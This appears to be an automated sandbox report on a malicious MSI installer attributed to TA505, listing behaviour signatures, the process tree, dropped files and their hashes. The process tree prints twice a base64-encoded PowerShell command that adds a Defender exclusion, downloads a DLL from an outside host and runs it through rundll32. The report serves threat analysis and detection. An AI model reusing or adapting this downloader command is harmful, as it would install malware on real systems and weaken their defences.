Analysis

  • max time kernel
    257s
  • max time network
    45s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    27-10-2022 03:43

General

  • Target

    fc081ae799c663668e679680b8aa7ff825458beff211d0be1848b96905a31124.msi

  • Size

    9.7MB

  • MD5

    bcdf12044dc371543ed7b14c4bf8a586

  • SHA1

    4cb4b2b5978500d17526cbd238717781249a023c

  • SHA256

    fc081ae799c663668e679680b8aa7ff825458beff211d0be1848b96905a31124

  • SHA512

    c95bad64458fe6bb80bd94419338d115f580ce6cfb4b89f8fc33ea51b97fcb4bfad7ec0c82914d5ef5152d722f36fe948a135c2261bb0160c6a04c3ccaca3195

  • SSDEEP

    196608:Ie9vBbrDJa8hjX5FEhDUt5D4oJ+zLzfVV:/bZL526HD4Vn

Score
10/10

Malware Config

Signatures

  • TA505

    Cybercrime group active since 2015, responsible for families like Dridex and Locky.

  • Blocklisted process makes network request 3 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 7 IoCs
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 11 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 55 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 40 IoCs

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\fc081ae799c663668e679680b8aa7ff825458beff211d0be1848b96905a31124.msi
    1⤵
    • Enumerates connected drives
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:1964
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Loads dropped DLL
    • Enumerates connected drives
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:936
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 638E1785320089C029713CA4DEC43152
      2⤵
      • Loads dropped DLL
      PID:1424
    • C:\Windows\Installer\MSIFEF0.tmp
      "C:\Windows\Installer\MSIFEF0.tmp" /RunAsAdmin /HideWindow powershell.exe -Exec Bypass -enc JABmAHIAbwBtACAAPQAgAFMAcABsAGkAdAAtAFAAYQB0AGgAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAATIFAAYQB0AGgAIAAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAE4AZQBvAHMAbwBmAHQAXABJAG4AcwB0AGEAbABsAGUAcgAiACkALgBQAGEAdABoACAALQBsAGUAYQBmADsADQAKACQAZABpAHIAIAA9ACAAJABlAG4AdgA6AHAAcgBvAGcAcgBhAG0AZABhAHQAYQA7AA0ACgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABkAGkAcgA7AA0ACgAkAGYAbgAgAD0AIAAkAGQAaQByACAAKwAgACIAXAAiACAAKwAgACgARwBlAHQALQBSAGEAbgBkAG8AbQApAC4AVABvAFMAdAByAGkAbgBnACgAIgB4ADgAIgApACAAKwAgACIALgBkAGEAdAAiAA0ACgAkAHcAYwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsADQAKACQAZAAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBkAG8AdwBuAGwAbwBhAGQALQBjAGQAbgAuAGMAbwBtACIAOwANAAoAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAZAAgACsAIAAiAC8AZABvAHcAbgBsAG8AYQBkAC4AcABoAHAAPwBmAD0ATABkAHIALgBkAGwAbAAmAGYAcgBvAG0APQAiACAAKwAgACQAZgByAG8AbQAsACAAJABmAG4AKQA7AA0ACgAkAHIAYQB3ACAAPQAgACIATQBaACIAIAArACAAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAtAFAAYQB0AGgAIAAkAGYAbgAgAC0AUgBhAHcAKQAuAFIAZQBtAG8AdgBlACgAMAAsACAAMgApADsADQAKAFMAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACgAJABmAG4AKQAgAC0ATgBvAE4AZQB3AGwAaQBuAGUAIAAtAFYAYQBsAHUAZQAgACQAcgBhAHcADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgAJwAiACcAIAArACAAJABmAG4AIAArACAAJwAiACwARABsAGwAUgBlAGcAaQBzAHQAZQByAFMAZQByAHYAZQByACcAKQA7AA0ACgAkAGYAbgAgAD0AIAAkAGYAbgAgACsAIAAiAC4AbQBzAGkAIgA7AA0ACgAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABkACAAKwAgACIALwBkAGUAYwBvAHkALwAiACAAKwAgACQAZgByAG8AbQAsACAAJABmAG4AKQA7AA0ACgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAoACQAZgBuACkAOwA=
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:792
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Exec Bypass -enc JABmAHIAbwBtACAAPQAgAFMAcABsAGkAdAAtAFAAYQB0AGgAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAATIFAAYQB0AGgAIAAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAE4AZQBvAHMAbwBmAHQAXABJAG4AcwB0AGEAbABsAGUAcgAiACkALgBQAGEAdABoACAALQBsAGUAYQBmADsADQAKACQAZABpAHIAIAA9ACAAJABlAG4AdgA6AHAAcgBvAGcAcgBhAG0AZABhAHQAYQA7AA0ACgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABkAGkAcgA7AA0ACgAkAGYAbgAgAD0AIAAkAGQAaQByACAAKwAgACIAXAAiACAAKwAgACgARwBlAHQALQBSAGEAbgBkAG8AbQApAC4AVABvAFMAdAByAGkAbgBnACgAIgB4ADgAIgApACAAKwAgACIALgBkAGEAdAAiAA0ACgAkAHcAYwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsADQAKACQAZAAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBkAG8AdwBuAGwAbwBhAGQALQBjAGQAbgAuAGMAbwBtACIAOwANAAoAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAZAAgACsAIAAiAC8AZABvAHcAbgBsAG8AYQBkAC4AcABoAHAAPwBmAD0ATABkAHIALgBkAGwAbAAmAGYAcgBvAG0APQAiACAAKwAgACQAZgByAG8AbQAsACAAJABmAG4AKQA7AA0ACgAkAHIAYQB3ACAAPQAgACIATQBaACIAIAArACAAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAtAFAAYQB0AGgAIAAkAGYAbgAgAC0AUgBhAHcAKQAuAFIAZQBtAG8AdgBlACgAMAAsACAAMgApADsADQAKAFMAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACgAJABmAG4AKQAgAC0ATgBvAE4AZQB3AGwAaQBuAGUAIAAtAFYAYQBsAHUAZQAgACQAcgBhAHcADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgAJwAiACcAIAArACAAJABmAG4AIAArACAAJwAiACwARABsAGwAUgBlAGcAaQBzAHQAZQByAFMAZQByAHYAZQByACcAKQA7AA0ACgAkAGYAbgAgAD0AIAAkAGYAbgAgACsAIAAiAC4AbQBzAGkAIgA7AA0ACgAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABkACAAKwAgACIALwBkAGUAYwBvAHkALwAiACAAKwAgACQAZgByAG8AbQAsACAAJABmAG4AKQA7AA0ACgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAoACQAZgBuACkAOwA=
        3⤵
        • Blocklisted process makes network request
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:700
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" "C:\ProgramData\3fdbc2d2.dat",DllRegisterServer
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1288
          • C:\Windows\SysWOW64\rundll32.exe
            "C:\Windows\system32\rundll32.exe" "C:\ProgramData\3fdbc2d2.dat",DllRegisterServer
            5⤵
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:1092
            • C:\Windows\SysWOW64\explorer.exe
              explorer.exe "C:\Users\Admin\AppData\Local\Temp\ECA1.tmp.bat"
              6⤵
                PID:2004
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:1232
      • C:\Windows\system32\cmd.exe
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\ECA1.tmp.bat" "
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:520
        • C:\Windows\system32\rundll32.exe
          rundll32.exe "C:\ProgramData\3fdbc2d2.dat",DllRegisterServer
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:956
          • C:\Windows\SysWOW64\rundll32.exe
            rundll32.exe "C:\ProgramData\3fdbc2d2.dat",DllRegisterServer
            4⤵
            • Loads dropped DLL
            PID:1508

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\ProgramData\3fdbc2d2.dat

      Filesize

      111KB

      MD5

      1b58bd5024ad7c02d74a51c3d97e6576

      SHA1

      b788993868071b5ef3d3826a8ee36fa6a5d4ddd2

      SHA256

      3e9a72cca5451428d506db814c489860f5773df01df68e08e521f482e6a3ea24

      SHA512

      11963a751793a6d55d5e00fb397c5a1ef4f819efcc4058237f68b45b7483e60267ba51984fbadcd3c30d58ae62ee7fae6da5aebc418bced79f85913e872c1b76

    • C:\Users\Admin\AppData\Local\Temp\ECA1.tmp.bat

      Filesize

      87B

      MD5

      8d93b1a29ed1924817fab839f40cb3c6

      SHA1

      6fa0c4debadd9050f9396e4fdaf4647d4b1ea9d3

      SHA256

      4f0177bc6789abdc76de729649c61acedb6746f2dd1cc1e79b11b9f164281725

      SHA512

      9e324de2aa144fdb08818e420dff0763ee3e94e77d83c4609b61654e894486d6d883b3a9cd455163f5ac0051ed3958c3b43d616b1a370155d5e0a445cc978071

    • C:\Windows\Installer\MSIF364.tmp

      Filesize

      550KB

      MD5

      bda991d64e27606ac1d3abb659a0b33b

      SHA1

      a87ee1430f86effa5488ae654704c40aca3424c6

      SHA256

      ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca

      SHA512

      94fe1eadd4b4325fc1a8c769180c6ecf92e2dbf9f8262d6746fada603929977f3d40100ba84cffb4074c6900a2b2d307355e6a5116e6f16d9d3173fa17ad461f

    • C:\Windows\Installer\MSIF4CC.tmp

      Filesize

      550KB

      MD5

      bda991d64e27606ac1d3abb659a0b33b

      SHA1

      a87ee1430f86effa5488ae654704c40aca3424c6

      SHA256

      ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca

      SHA512

      94fe1eadd4b4325fc1a8c769180c6ecf92e2dbf9f8262d6746fada603929977f3d40100ba84cffb4074c6900a2b2d307355e6a5116e6f16d9d3173fa17ad461f

    • C:\Windows\Installer\MSIF54A.tmp

      Filesize

      927KB

      MD5

      b27a994e40bee85c14d3227ea91696a9

      SHA1

      609a959b0f47865803e2c45a8bc4390f1d08b57a

      SHA256

      ebf432e9b8068e139e85e2c26a1d67238b3c6071158cd43f4926029ba187c190

      SHA512

      66b2cfa6b7c3cf793f478bc69e084e4ea008dab4101eaf8ce3143291d94dbcebedccd29c309d56185261fdbcccd30697cd898bf8ce8e1f9dcdf12fc2037d1542

    • C:\Windows\Installer\MSIF616.tmp

      Filesize

      550KB

      MD5

      bda991d64e27606ac1d3abb659a0b33b

      SHA1

      a87ee1430f86effa5488ae654704c40aca3424c6

      SHA256

      ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca

      SHA512

      94fe1eadd4b4325fc1a8c769180c6ecf92e2dbf9f8262d6746fada603929977f3d40100ba84cffb4074c6900a2b2d307355e6a5116e6f16d9d3173fa17ad461f

    • C:\Windows\Installer\MSIFEF0.tmp

      Filesize

      549KB

      MD5

      6aac525cfcdd6d3978c451bba2bb9cb3

      SHA1

      417a1c4312bdaadf832acf153c423906365fb027

      SHA256

      9dbaf4e4632e70652ff72bb7890c35e3b9cd7a6939b29b5eeec0c636d098c64e

      SHA512

      3c39487dbfdb6ee84cc5eddd5e8e9d1610ffb9fe55913e47f126b47d6fd5bc04b691a9bb765963d998b3db92d87192a4a91807bbe7559bfc4804a7c2beb32f42

    • \ProgramData\3fdbc2d2.dat

      Filesize

      111KB

      MD5

      1b58bd5024ad7c02d74a51c3d97e6576

      SHA1

      b788993868071b5ef3d3826a8ee36fa6a5d4ddd2

      SHA256

      3e9a72cca5451428d506db814c489860f5773df01df68e08e521f482e6a3ea24

      SHA512

      11963a751793a6d55d5e00fb397c5a1ef4f819efcc4058237f68b45b7483e60267ba51984fbadcd3c30d58ae62ee7fae6da5aebc418bced79f85913e872c1b76

    • \ProgramData\3fdbc2d2.dat

      Filesize

      111KB

      MD5

      1b58bd5024ad7c02d74a51c3d97e6576

      SHA1

      b788993868071b5ef3d3826a8ee36fa6a5d4ddd2

      SHA256

      3e9a72cca5451428d506db814c489860f5773df01df68e08e521f482e6a3ea24

      SHA512

      11963a751793a6d55d5e00fb397c5a1ef4f819efcc4058237f68b45b7483e60267ba51984fbadcd3c30d58ae62ee7fae6da5aebc418bced79f85913e872c1b76

    • \Windows\Installer\MSIF364.tmp

      Filesize

      550KB

      MD5

      bda991d64e27606ac1d3abb659a0b33b

      SHA1

      a87ee1430f86effa5488ae654704c40aca3424c6

      SHA256

      ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca

      SHA512

      94fe1eadd4b4325fc1a8c769180c6ecf92e2dbf9f8262d6746fada603929977f3d40100ba84cffb4074c6900a2b2d307355e6a5116e6f16d9d3173fa17ad461f

    • \Windows\Installer\MSIF4CC.tmp

      Filesize

      550KB

      MD5

      bda991d64e27606ac1d3abb659a0b33b

      SHA1

      a87ee1430f86effa5488ae654704c40aca3424c6

      SHA256

      ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca

      SHA512

      94fe1eadd4b4325fc1a8c769180c6ecf92e2dbf9f8262d6746fada603929977f3d40100ba84cffb4074c6900a2b2d307355e6a5116e6f16d9d3173fa17ad461f

    • \Windows\Installer\MSIF54A.tmp

      Filesize

      927KB

      MD5

      b27a994e40bee85c14d3227ea91696a9

      SHA1

      609a959b0f47865803e2c45a8bc4390f1d08b57a

      SHA256

      ebf432e9b8068e139e85e2c26a1d67238b3c6071158cd43f4926029ba187c190

      SHA512

      66b2cfa6b7c3cf793f478bc69e084e4ea008dab4101eaf8ce3143291d94dbcebedccd29c309d56185261fdbcccd30697cd898bf8ce8e1f9dcdf12fc2037d1542

    • \Windows\Installer\MSIF616.tmp

      Filesize

      550KB

      MD5

      bda991d64e27606ac1d3abb659a0b33b

      SHA1

      a87ee1430f86effa5488ae654704c40aca3424c6

      SHA256

      ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca

      SHA512

      94fe1eadd4b4325fc1a8c769180c6ecf92e2dbf9f8262d6746fada603929977f3d40100ba84cffb4074c6900a2b2d307355e6a5116e6f16d9d3173fa17ad461f

    • \Windows\Installer\MSIFEF0.tmp

      Filesize

      549KB

      MD5

      6aac525cfcdd6d3978c451bba2bb9cb3

      SHA1

      417a1c4312bdaadf832acf153c423906365fb027

      SHA256

      9dbaf4e4632e70652ff72bb7890c35e3b9cd7a6939b29b5eeec0c636d098c64e

      SHA512

      3c39487dbfdb6ee84cc5eddd5e8e9d1610ffb9fe55913e47f126b47d6fd5bc04b691a9bb765963d998b3db92d87192a4a91807bbe7559bfc4804a7c2beb32f42

    • memory/700-74-0x00000000027A4000-0x00000000027A7000-memory.dmp

      Filesize

      12KB

    • memory/700-82-0x00000000027AB000-0x00000000027CA000-memory.dmp

      Filesize

      124KB

    • memory/700-73-0x000007FEF3900000-0x000007FEF445D000-memory.dmp

      Filesize

      11.4MB

    • memory/700-75-0x00000000027AB000-0x00000000027CA000-memory.dmp

      Filesize

      124KB

    • memory/700-81-0x00000000027A4000-0x00000000027A7000-memory.dmp

      Filesize

      12KB

    • memory/700-72-0x000007FEF4460000-0x000007FEF4E83000-memory.dmp

      Filesize

      10.1MB

    • memory/1424-57-0x0000000076411000-0x0000000076413000-memory.dmp

      Filesize

      8KB

    • memory/1964-54-0x000007FEFBFE1000-0x000007FEFBFE3000-memory.dmp

      Filesize

      8KB

    • memory/2004-85-0x0000000074E71000-0x0000000074E73000-memory.dmp

      Filesize

      8KB